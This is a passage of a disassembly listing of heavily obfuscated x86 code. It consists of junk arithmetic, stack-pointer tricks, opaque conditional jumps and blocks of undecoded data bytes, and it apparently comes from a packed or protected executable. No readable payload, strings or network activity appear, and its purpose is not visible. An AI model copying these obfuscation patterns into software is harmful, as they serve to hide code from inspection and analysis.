		dd 0C4815100h, 4, 840FC90Bh, 0FFFFE12Eh, 57E08950h, 0F1652EBFh
		dd 8CF814Ah, 0F753610Dh, 81D7F7D7h, 0E92D6C7h, 0BC41E9A4h
		dd 34FFFFFFh, 63685924h, 8900000Fh, 0E189240Ch,	4C181h
		dd 66680000h, 0E900002Bh, 0FFFF8D2Dh, 17FEF281h, 0D3896478h
		dd 8B2434FFh, 0C4812414h, 4, 0DC68h, 24148900h,	0BF57E289h
		dd 3B1A4964h, 4F4FD7F7h, 1FCEE9h
		db 0
; ---------------------------------------------------------------------------


loc_594089:				; CODE XREF: sdfs____:0058D723j
		mov	[esp], edx
		mov	edx, 348D7D81h
		jmp	loc_58D029
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 44B55C1Dh, 0E95FFD89h, 0FFFFA7A3h, 0B8505F54h, 4, 3399E9h
		dd 4386800h, 34890000h,	20826824h, 348B0802h, 4C48324h
		dd 0FFF592E9h, 0D56B9FFh, 0E9BA6682h, 29E5B96Ch, 0CA8159CAh
		dd 51BB723Fh, 33FBE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5940E2:				; CODE XREF: sdfs____:0058E360j
		add	esi, 62BF0A47h
		jmp	loc_59857A
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 0DDh
		dd 8175A57Eh, 0EE0FC8F2h, 81DAF74Fh, 1E6BE5CAh,	0B8504228h
		dd 104B1AA4h, 8158C201h, 0B7F850EAh, 0E9D63196h, 4014h
; ---------------------------------------------------------------------------


loc_594118:				; CODE XREF: sdfs____:005913BBj
		push	ecx
		push	eax
		mov	al, 3Eh
		shr	al, 3
		jmp	loc_5975CA
; ---------------------------------------------------------------------------


loc_594124:				; CODE XREF: sdfs____:00592F3Ej
		push	edx
		push	esi
		push	0B5A6A52h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58CC00
; ---------------------------------------------------------------------------


loc_594136:				; CODE XREF: sdfs____:005975D9j
		or	edx, eax
		pop	eax
		shr	edx, 5
		push	esi
		mov	esi, 35A275F5h
		and	edx, esi
		pop	esi
		push	ecx
		mov	ecx, 0FE7DCE0Fh
		sub	edx, 47A04CCDh
		add	edx, ecx
		jmp	loc_5907D8
; ---------------------------------------------------------------------------
		dd 0D2A3E95Ch, 8B66FFFFh, 0D2E9240Ch, 81FFFFA3h, 0A441FEE9h
		dd 27E95B1Dh, 59FFFFF7h, 0FF784CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594179:				; CODE XREF: sdfs____:0059562Cj
		inc	esi
		add	esi, 0FFFFFFFFh
		dec	esi
		push	esi
		jmp	loc_58E0E3
; ---------------------------------------------------------------------------
		dd 24048B66h, 0B10E9h, 240C8900h, 2B9h,	8BCA0100h, 57E9240Ch
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59419F:				; CODE XREF: sdfs____:00595820j
		mov	eax, [esp]
		jmp	loc_5930B6
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0BB5308E8h, 0DC8520Bh, 40F0E9h, 4077FF00h, 0FF7808E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5941BD:				; CODE XREF: sdfs____:0059534Bj
		push	ebp
		mov	ebp, 0
		jmp	loc_594748
; ---------------------------------------------------------------------------


loc_5941C8:				; CODE XREF: sdfs____:00595673j
		add	dword ptr [esp+4], 22AD1A30h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 22AD1A30h
		pop	eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	esp
		jmp	loc_5918A7
; ---------------------------------------------------------------------------


loc_5941FC:				; CODE XREF: sdfs____:00597480j
		xor	eax, 9C578ACBh
		jmp	loc_59450B
; ---------------------------------------------------------------------------


loc_594206:				; CODE XREF: sdfs____:00595B38j
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		sub	[edi+24h], esi
		mov	esi, [esp]
		add	esp, 4


loc_594228:				; CODE XREF: sdfs____:005933CEj
		push	ebx
		sub	dword ptr [esp], 37F34C06h
		mov	eax, [esp]
		push	790Ah
		mov	[esp], ebp
		push	esp
		jmp	loc_591C72
; ---------------------------------------------------------------------------
		db 81h,	0CEh, 0C4h
		dd 0F7730707h, 0BAEE81D6h, 0E9F6E0DEh, 0F8Ch
; ---------------------------------------------------------------------------


loc_594254:				; CODE XREF: sdfs____:0058E425j
		dec	bh
		jnp	loc_596F40
		add	bh, 0DEh
		mov	ch, bh
		pop	ebx
		not	ch
		jmp	loc_58E58A
; ---------------------------------------------------------------------------


loc_594269:				; CODE XREF: sdfs____:0058EE85j
					; sdfs____:00595F0Aj
		mov	[esp], ebx
		mov	bh, 91h
		inc	bh
		jnp	loc_58C3B0
		shl	bh, 4
		js	loc_590DE8
		push	edx
		mov	dl, 0FAh
		pop	ebp
		sub	edx, 0DE272A1Dh
		mov	eax, edx
		jmp	loc_595953
; ---------------------------------------------------------------------------


loc_594290:				; CODE XREF: sdfs____:00597E6Dj
		sub	edi, 1F566B0Fh
		jmp	loc_5906D3
; ---------------------------------------------------------------------------
aPrhp		db 'PRhp"',0
		align 2
		dw 2C89h
		dd 0F081E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5942AA:				; CODE XREF: sdfs____:loc_597835j
		shr	edi, 3
		js	loc_592D87
		dec	edi
		jmp	loc_58D4E1
; ---------------------------------------------------------------------------


loc_5942B9:				; CODE XREF: sdfs____:00594489j
		mov	esp, [esp]
		jmp	loc_58EA11
; ---------------------------------------------------------------------------
		db 80h,	0E3h, 93h
		dd 80F3C380h, 0DD0825C3h, 7D30E95Bh, 5A66FFFFh,	241C8B66h
		dd 10E568h, 24048900h, 0FFEB80E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5942E5:				; CODE XREF: sdfs____:0059378Cj
		shr	ecx, 2
		jmp	loc_595001
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 54243C89h,	83243C8Bh
		dd 0C78104C4h, 4, 3B4C68h, 0C487E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59431A:				; CODE XREF: sdfs____:0058E094j
		push	edx
		mov	edx, 55D2128Ch
		xor	edi, edx
		pop	edx
		push	ebp
		mov	ebp, 14050C53h
		or	edi, ebp
		pop	ebp
		push	edx
		mov	edx, 17F5FF77h
		sub	edi, edx
		pop	edx
		jmp	loc_5965D2
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 4BE56h, 0F5010000h, 281DE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59434E:				; CODE XREF: sdfs____:00592D82j
		add	ebp, 7C964FF2h
		push	3A2h
		mov	[esp], ecx
		push	ebp
		jmp	loc_594AA6
; ---------------------------------------------------------------------------
		dw 3CD3h
		dd 5AE99C24h, 0F7FFFF76h, 0E22DE9DBh, 5721FFFFh, 24148B1Ch
		dd 0CE9AE950h, 3166FFFFh, 3366241Ch, 3166241Ch,	8766241Ch
		dd 665166CBh, 66793A68h, 66243489h, 22474FFh, 0FFE95E66h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5943A3:				; CODE XREF: sdfs____:005955C5j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_590763
; ---------------------------------------------------------------------------


loc_5943B3:				; CODE XREF: sdfs____:00590EC0j
		xchg	ebx, edx
		pop	ebx
		add	edx, 232017DCh
		sub	eax, 426248F5h
		add	eax, edx
		add	eax, 426248F5h
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 2
		jmp	loc_598C05
; ---------------------------------------------------------------------------


loc_5943DC:				; CODE XREF: sdfs____:loc_592D9Ej
		neg	edi
		sub	edi, 47F529CFh
		ja	loc_58C744
		sub	edi, 1F1084D7h
		add	ebp, edi
		mov	edi, [esp]
		mov	edi, edx


loc_5943F7:				; CODE XREF: sdfs____:0058D122j
		mov	edi, ebx
		pop	ebx
		sub	dword ptr [esp+4], 11ED3859h
		sub	[esp+4], edi
		add	dword ptr [esp+4], 11ED3859h
		pop	edi
		pop	eax
		jmp	loc_58F1B5
; ---------------------------------------------------------------------------
		db 30h,	0F7h, 5Ah
		dd 1D6CE952h, 0D8290000h, 8199E95Bh, 525AFFFFh,	453649BAh
		dd 8BD3016Fh, 0C4812414h, 4, 14FBBD55h,	814564AEh, 7D5FD8E5h
		dd 8E5C17Ah, 95EBED81h,	0EB09E4B4h, 840F435Dh, 0FFFFD78Eh
		dd 224EE9h, 0C8B6600h, 4EC8124h, 89000000h, 0E189240Ch
		dd 4C181h, 0E9680000h, 0E9000018h, 0FFFFD96Ah
; ---------------------------------------------------------------------------


loc_59447C:				; CODE XREF: sdfs____:005973C3j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_5942B9
; ---------------------------------------------------------------------------


loc_59448E:				; CODE XREF: sdfs____:0058DBE1j
		sub	edi, 57012499h
		add	edi, edx
		add	edi, 57012499h
		pop	edx
		xor	edi, [esp]
		jmp	loc_595B82
; ---------------------------------------------------------------------------


loc_5944A5:				; CODE XREF: sdfs____:loc_593C79j
		sub	ebp, 0B0AFE564h
		dec	ebp
		jmp	loc_58BF95
; ---------------------------------------------------------------------------
		db 0E9h, 4Fh, 2Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5944B6:				; CODE XREF: sdfs____:00596D4Ej
					; sdfs____:00597BAFj
		push	esi
		push	69BF0B9Ch
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_590819
; ---------------------------------------------------------------------------


loc_5944CB:				; CODE XREF: sdfs____:005977E7j
		shr	edx, 6
		xor	edx, 45FA45ACh
		sub	ebp, edx
		pop	edx
		add	ebp, edi
		add	ebp, 45BA74E8h
		jmp	loc_596320
; ---------------------------------------------------------------------------


loc_5944E4:				; CODE XREF: sdfs____:00593860j
		add	edi, ecx
		add	edi, 43AA07F0h
		jmp	loc_591A46
; ---------------------------------------------------------------------------


loc_5944F1:				; CODE XREF: sdfs____:005956F0j
		neg	edi
		inc	edi
		xor	edi, 0ABA99A3Ch
		sub	ecx, edi
		jmp	loc_5955D9
; ---------------------------------------------------------------------------


loc_594501:				; CODE XREF: sdfs____:00594F62j
		add	[esp+4], edi
		pop	edi
		jmp	loc_59872D
; ---------------------------------------------------------------------------


loc_59450B:				; CODE XREF: sdfs____:00594201j
		mov	ecx, eax
		pop	eax
		jmp	loc_58F1CF
; ---------------------------------------------------------------------------


loc_594513:				; CODE XREF: sdfs____:0058D099j
		add	esp, 4
		push	ebp
		mov	ebp, 54856DEEh
		xor	esi, ebp
		pop	ebp
		and	eax, esi
		pop	esi
		shr	eax, 0Ch
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_5988E7
; ---------------------------------------------------------------------------


loc_594530:				; CODE XREF: sdfs____:0058E248j
		xor	eax, 1FA027F4h
		add	eax, 1
		not	eax
		jmp	loc_58BA4D
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C781h, 0FF570000h, 5F042474h, 8B24048Fh, 0B70F2424h
		dd 525268C8h, 0C890000h, 7463E924h, 0C5B2FFFFh,	2FBCE9h
		dd 0DFE95C00h, 0B8000010h, 0A985C1Fh, 11C6B951h, 51E923AEh
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59457F:				; CODE XREF: sdfs____:005976ABj
		shr	cl, 6
		push	3AD0h
		mov	[esp], eax
		mov	al, 1Ah
		xor	cl, al
		jmp	loc_591CC4
; ---------------------------------------------------------------------------


loc_594593:				; CODE XREF: sdfs____:00596E66j
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5984E5
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0E4h
		dd 31FFFFB3h, 3C33243Ch, 24248B24h, 9C240421h, 317DE9h
		dd 73FBE900h, 0DBBAFFFFh, 29917DC7h, 3A63E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5945D6:				; CODE XREF: sdfs____:00590FE2j
		sub	edi, 435F3EA3h
		sub	esi, edi
		pop	edi
		jmp	loc_58EA96
; ---------------------------------------------------------------------------
		dd 7F2BF9BFh, 0CF48E96Eh, 0CF81FFFFh, 4E5C463Eh, 7CEFE781h
		dd 814F0316h, 10E42EFh,	0E9F78168h, 21875F0Bh, 0C1815FF9h
		dd 9970A3Fh, 5A9EC981h,	0E1814C7Eh, 70D41F91h, 8106E9C1h
		dd 842B84F1h, 0E9CF29A0h, 0FFFFB675h
; ---------------------------------------------------------------------------


loc_59462C:				; CODE XREF: sdfs____:0058FE3Dj
		mov	ebx, 2
		add	ecx, 265A24B6h
		add	ecx, ebx
		sub	ecx, 265A24B6h
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5987E6
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 81000000h,	4C7h, 243C8700h, 24048F5Ch, 0FF735CE9h
		dd 243433FFh, 33243431h, 665C2434h, 9C242CD3h, 0FF7348E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59467D:				; CODE XREF: sdfs____:0058C11Bj
		add	edx, 4
		push	eax
		mov	eax, 6D4B0016h
		not	eax
		sub	eax, 400E5C30h
		sub	eax, 52A6A3B5h
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		jmp	loc_59513A
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 2434FF5Ch, 0FFC9B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5946AD:				; CODE XREF: sdfs____:0058BC7Bj
		xor	ebp, 84132Ch
		push	esi
		mov	esi, 357267D4h
		and	ebp, esi
		jmp	loc_593F88
; ---------------------------------------------------------------------------
		dd 3D6866ACh, 1C89667Ch, 0D820E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5946CE:				; CODE XREF: sdfs____:00598757j
		sub	bl, 4Dh
		add	bl, 0EBh
		add	bl, 18h
		jmp	loc_58D935
; ---------------------------------------------------------------------------
		dd 0E9008F66h, 21D3h
; ---------------------------------------------------------------------------


loc_5946E4:				; CODE XREF: sdfs____:loc_58E0E3j
					; sdfs____:0058E2FEj
		mov	dh, 0Dh
		sub	al, 0A6h
		sub	al, dh
		add	al, 0A6h
		jmp	loc_597C12
; ---------------------------------------------------------------------------
		db 0B9h, 67h, 64h
		dd 0E1816B94h, 57BE1C92h, 0FFF223E9h, 72BFE9FFh, 0FF5CFFFFh
		dd 0E99C2404h, 0FFFF72B5h
; ---------------------------------------------------------------------------


loc_594710:				; CODE XREF: sdfs____:0058CDA9j
					; sdfs____:005968BFj
		pop	ecx
		add	esp, 4
		push	ebx
		push	edx
		push	1Ch
		pop	edx
		mov	ebx, edx
		pop	edx
		push	edi
		mov	edi, 38351DE3h
		sub	edi, 0F9A7D156h
		add	ebx, edi
		pop	edi
		add	ebx, edi
		push	266Fh
		mov	[esp], edx
		mov	edx, 7E477E5Ah
		push	edi
		mov	edi, 3FBA31CDh
		jmp	loc_58E4B9
; ---------------------------------------------------------------------------


loc_594748:				; CODE XREF: sdfs____:005941C3j
		add	ebp, 4FF2262Dh
		sub	ebp, edi
		sub	ebp, 4FF2262Dh
		xchg	ebp, edi
		jmp	loc_598413
; ---------------------------------------------------------------------------
aCS2		db '»—!Ú',7,'éË2',0
		db 0
; ---------------------------------------------------------------------------


loc_594767:				; CODE XREF: sdfs____:0058EB49j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 30716AF9h
		push	ebx
		push	4D403E5Eh
		push	dword ptr [esp]
		jmp	loc_598534
; ---------------------------------------------------------------------------


loc_594780:				; CODE XREF: sdfs____:00594E3Cj
		add	eax, 3F6D395Bh
		xor	ebx, eax
		pop	eax
		xor	eax, ebx
		jmp	loc_5975A3
; ---------------------------------------------------------------------------
		db 1
		dd 24048BC2h, 4C481h, 0C2810000h, 2, 5C241487h,	9C240430h
		dd 0FFFE18E9h, 4E9C1FFh, 0BF4E9h, 4EC8100h, 89000000h
		dd 6E92414h, 8B000036h,	0C4812434h, 4, 5ACBBF57h, 0F82949C0h
		dd 81243C8Bh, 4C4h, 42442D00h, 4E2D5480h, 0E96EC72Ah, 0FFFF7470h
; ---------------------------------------------------------------------------


loc_5947EC:				; CODE XREF: sdfs____:0058D3E5j
		add	esp, 4
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_58BC09
; ---------------------------------------------------------------------------


loc_594808:				; CODE XREF: sdfs____:0058E274j
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_5929CF
; ---------------------------------------------------------------------------
		dw 5431h
		dd 148B0424h, 75A96824h, 59E90000h, 66000045h, 417045Bh
		dd 2CD82849h, 0B3535149h, 5BDD8817h, 3404192Ch,	342CE828h
		dd 0E5E1E952h, 5056FFFFh, 5551FFB8h, 0FF070561h, 0C689B88Dh
		dd 5EF58958h, 24348155h, 6888792Eh, 13E9515Eh, 81000005h
		dd 42404h, 1C8B0000h, 830DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594876:				; CODE XREF: sdfs____:005906BEj
		add	al, 0E5h
		add	al, cl
		push	ecx
		mov	ch, 0A9h
		or	ch, 3Fh
		xor	ch, 5Ah
		sub	al, ch
		pop	ecx
		jmp	loc_58F6F5
; ---------------------------------------------------------------------------
		db 81h
		dd 7D04246Ch, 293E3018h, 8104244Ch, 7D042444h, 0FF3E3018h
		dd 83592434h, 0C6E904C4h, 0F7000006h, 0E6E955D9h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5948B3:				; CODE XREF: sdfs____:0058E51Bj
		sub	dword ptr [esp], 48161FCh
		jmp	loc_59087F
; ---------------------------------------------------------------------------
		db 40h
		dd 23D28D0Fh, 202D0000h, 0F546F28h, 227488h, 89E88900h
		dd 79E92434h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5948DB:				; CODE XREF: sdfs____:0058D637j
		not	ecx
		neg	ecx
		jnz	loc_58C873
		xor	ecx, 4A1C71DDh
		mov	edx, ecx
		pop	ecx
		sub	al, 37h
		push	esp
		add	ch, 0E9h
		dec	ch
		jmp	loc_58E01A
; ---------------------------------------------------------------------------


loc_5948FB:				; CODE XREF: sdfs____:00592C8Aj
		add	eax, 4
		sub	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5909FF
; ---------------------------------------------------------------------------
		dd 2414895Ch, 1964E9h, 5BD88900h, 1B42E9h, 48B6600h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		jmp	loc_58BB69
; ---------------------------------------------------------------------------


loc_594933:				; CODE XREF: sdfs____:0058FC5Cj
		xchg	edi, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_58CF0B
; ---------------------------------------------------------------------------
		db 31h
		dd 8EE92414h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_594947:				; CODE XREF: sdfs____:0058D195j
		jns	loc_58DFF8
		jmp	loc_5922C4
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 33000000h,	0E95C243Ch, 0FFFFC4E9h
; ---------------------------------------------------------------------------


loc_594964:				; CODE XREF: sdfs____:0058DF06j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 3AA754CEh
		add	eax, 1
		sub	eax, 0F7210E1Fh
		xor	esi, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_598169
; ---------------------------------------------------------------------------
		dw 0E688h
		dd 1081E9h
		db 0
; ---------------------------------------------------------------------------


loc_59498D:				; CODE XREF: sdfs____:0058FDECj
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_58DA54
; ---------------------------------------------------------------------------
		dd 8C0F4Eh, 0E9FFFF7Ah,	37F6h, 8004E7C0h, 3C317FE9h, 243C3324h
		dd 7D3BE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5949C2:				; CODE XREF: sdfs____:00590599j
		pop	ecx
		sub	ecx, 57E92DE4h
		mov	edi, [esp]
		add	esp, 4
		and	eax, ecx
		jmp	loc_58C621
; ---------------------------------------------------------------------------


loc_5949D9:				; CODE XREF: sdfs____:00595E15j
		and	[edi+1Ch], eax
		pop	eax
		jmp	loc_59226D
; ---------------------------------------------------------------------------


loc_5949E2:				; CODE XREF: sdfs____:005905B2j
		sub	ebx, 7EAB3A11h
		pop	edi
		jmp	loc_58B9DE
; ---------------------------------------------------------------------------
		dw 880Fh
		dd 0FFFFD86Eh, 4EC81h, 5DE90000h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5949FF:				; CODE XREF: sdfs____:0058C889j
		xchg	ebx, edi
		jmp	loc_595938
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 57120404h, 0C7815F54h, 4, 6893BA52h,	0EA81040Eh, 5FDD0BD2h
		dd 2CE3EA81h, 0BB53444Dh, 5FE42FDAh, 0E95BDA31h, 1216h
; ---------------------------------------------------------------------------


loc_594A34:				; CODE XREF: sdfs____:0059176Cj
		mov	ebp, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_58F3ED
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B8240489h, 682604C7h, 630E68h, 24048900h, 0FFBE1AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594A5D:				; CODE XREF: sdfs____:00591FF6j
		shr	edx, 1
		and	edx, 14A6492h
		jmp	loc_593131
; ---------------------------------------------------------------------------


loc_594A6A:				; CODE XREF: sdfs____:005927B2j
		push	edx
		mov	edx, 56D15BBCh
		sub	edx, 709A219Ch
		sub	edx, 1C2701E1h
		shr	edx, 6
		and	edx, 2828385Ah
		shr	edx, 7
		sub	edx, 0FC4A24F2h
		add	eax, edx
		pop	edx
		add	eax, 725E46A3h
		sub	eax, edx
		jmp	loc_58C4B9
; ---------------------------------------------------------------------------


loc_594A9D:				; CODE XREF: sdfs____:00597996j
		add	edx, 4
		push	edx
		jmp	loc_58FAD2
; ---------------------------------------------------------------------------


loc_594AA6:				; CODE XREF: sdfs____:0059435Dj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	eax, ecx
		jmp	loc_58CA56
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 2ACBh
; ---------------------------------------------------------------------------


loc_594ABC:				; CODE XREF: sdfs____:005921FAj
		js	loc_590C1E
		sub	edx, 56738F2Dh
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_58C939
		push	16BEh
		mov	[esp], ebx
		mov	ebx, 0FEh
		and	[edi+1Ch], ebx
		push	dword ptr [esp]
		pop	ebx
		push	6D20h
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 30BD06D1h
		push	ecx
		mov	ecx, 30BD06D5h
		xor	eax, ecx
		pop	ecx
		add	edx, eax
		jmp	loc_597FC8
; ---------------------------------------------------------------------------
		db 0B8h
		dd 625E3170h, 0D5E9C689h, 0BEFFFFCBh, 6ADF3C85h, 0FFAD3FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594B1D:				; CODE XREF: sdfs____:005977F7j
		mov	esi, 0E372CFE3h
		sub	edx, esi
		pop	esi
		mov	ecx, edx
		pop	edx
		jmp	loc_593A75
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 0C1h
		dd 8A0F03EFh, 1A8Fh, 50ADE781h,	8C0F6331h, 429Fh, 0FFE39FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594B49:				; CODE XREF: sdfs____:00596271j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 47A54F9Fh
		add	ebx, 18350B1Dh
		sub	ebx, ebp
		push	edi
		mov	edi, 18350B1Dh
		sub	ebx, edi
		pop	edi
		mov	ebp, [esp]
		add	esp, 4
		mov	eax, ebx
		mov	ebx, [esp]
		jmp	loc_593303
; ---------------------------------------------------------------------------
		dw 2CACh
		dd 28C504FBh, 4EC83D8h,	0E9241489h, 0FFFFF9D6h,	0FFD0A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594B91:				; CODE XREF: sdfs____:00595A70j
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 16DA6152h
		xor	eax, 16DA6156h
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_5959FB
; ---------------------------------------------------------------------------


loc_594BC1:				; CODE XREF: sdfs____:0058BA0Bj
		not	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, 6E004DEFh
		add	esi, 0C4C724E4h
		and	ecx, esi
		pop	esi
		add	ecx, 0FFFFFFFFh
		xor	ecx, 8515F770h
		sub	edi, ecx
		pop	ecx
		jmp	loc_5902FF
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4815Ah, 5B000000h,	0FF6DD0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594BF5:				; CODE XREF: sdfs____:00592557j
		pop	esp
		jmp	loc_595425
; ---------------------------------------------------------------------------


loc_594BFB:				; CODE XREF: sdfs____:0059344Dj
		shr	edi, 4
		push	esi
		mov	esi, 27E33078h
		add	esi, 0EF311173h
		xor	edi, esi
		pop	esi
		sub	edi, 19F708E4h
		add	edx, edi
		pop	edi
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_592F34
; ---------------------------------------------------------------------------
		dd 0E73FE957h, 0EEC0FFFFh, 2EC8106h, 66000000h,	0B0240489h
		dd 0BA5CE901h, 0EF80FFFFh, 28862CC2h, 5B8604F8h, 6602EC83h
		dd 83241489h, 0C8904ECh, 806AB524h, 0EE8864F5h,	81240C8Bh
		dd 4C4h, 66F02800h, 5224148Bh, 0F1E9E289h, 8100000Eh, 47DA5C6h
		dd 8BD2E95Ah, 0B450FFFFh, 58E688AAh, 0EE80D6F6h, 3656E9C5h
		dd 0EF810000h, 7130FA9h, 0D2BE9h, 4EC8300h, 0E9243489h
		dd 0FFFFB1BFh, 2C5835Eh, 31242C33h, 2C33242Ch, 24248B24h
		dd 0FF7F1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594CBD:				; CODE XREF: sdfs____:00591CA5j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5965FA
; ---------------------------------------------------------------------------


loc_594CCC:				; CODE XREF: sdfs____:0058F40Fj
		jo	loc_59114A
		sub	esi, 3FF73F73h
		mov	ecx, esi
		pop	esi
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5933B9
; ---------------------------------------------------------------------------


loc_594CE8:				; CODE XREF: sdfs____:00593E0Bj
		mov	[esp], ebp
		jmp	loc_593C2E
; ---------------------------------------------------------------------------


loc_594CF0:				; CODE XREF: sdfs____:00592A7Fj
		mov	ebp, [esp]
		jmp	loc_596DB9
; ---------------------------------------------------------------------------


loc_594CF8:				; CODE XREF: sdfs____:005977B2j
		sub	ecx, 6A4B39B6h
		jmp	loc_597F5F
; ---------------------------------------------------------------------------
		db 0F7h
		dd 8BC681D6h, 0E9014A39h, 0FFFF9E51h
; ---------------------------------------------------------------------------


loc_594D10:				; CODE XREF: sdfs____:00591D23j
		pop	ecx
		not	si
		jmp	loc_597915
; ---------------------------------------------------------------------------


loc_594D19:				; CODE XREF: sdfs____:0058E41Fj
		jmp	loc_593720
; ---------------------------------------------------------------------------


loc_594D1E:				; CODE XREF: sdfs____:00596973j
		push	edi
		push	ecx
		push	3E160475h
		pop	ecx
		neg	ecx
		jmp	loc_5977BF
; ---------------------------------------------------------------------------


loc_594D2D:				; CODE XREF: sdfs____:00592606j
		pop	ecx
		add	eax, 5284710h
		sub	eax, ecx
		sub	eax, 5284710h
		pop	ecx
		jmp	loc_58C5B8
; ---------------------------------------------------------------------------


loc_594D40:				; CODE XREF: sdfs____:0058F6CEj
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_595FE5
; ---------------------------------------------------------------------------


loc_594D51:				; CODE XREF: sdfs____:005913C8j
		add	al, 0Ah
		mov	ch, al
		mov	eax, [esp]
		add	esp, 4
		xor	dl, ch
		pop	ecx
		sub	dl, 26h
		jmp	loc_5970DE
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFD818E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594D71:				; CODE XREF: sdfs____:00595ADDj
		xor	esi, eax
		xor	eax, esi
		jmp	loc_58D5B9
; ---------------------------------------------------------------------------
		dw 2EB9h
		dd 31688879h, 2D5D59CEh, 24113C9Ah, 0DB7F702Dh,	5F00129h
		dd 29DB7F70h, 8C37E957h, 0C581FFFFh, 4,	4C581h,	0EC830000h
		dd 242C8904h, 2679E9h, 4C48100h, 87000000h, 248B242Ch
		dd 182EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594DC2:				; CODE XREF: sdfs____:00597DF8j
		jmp	loc_597A49
; ---------------------------------------------------------------------------
		db 89h
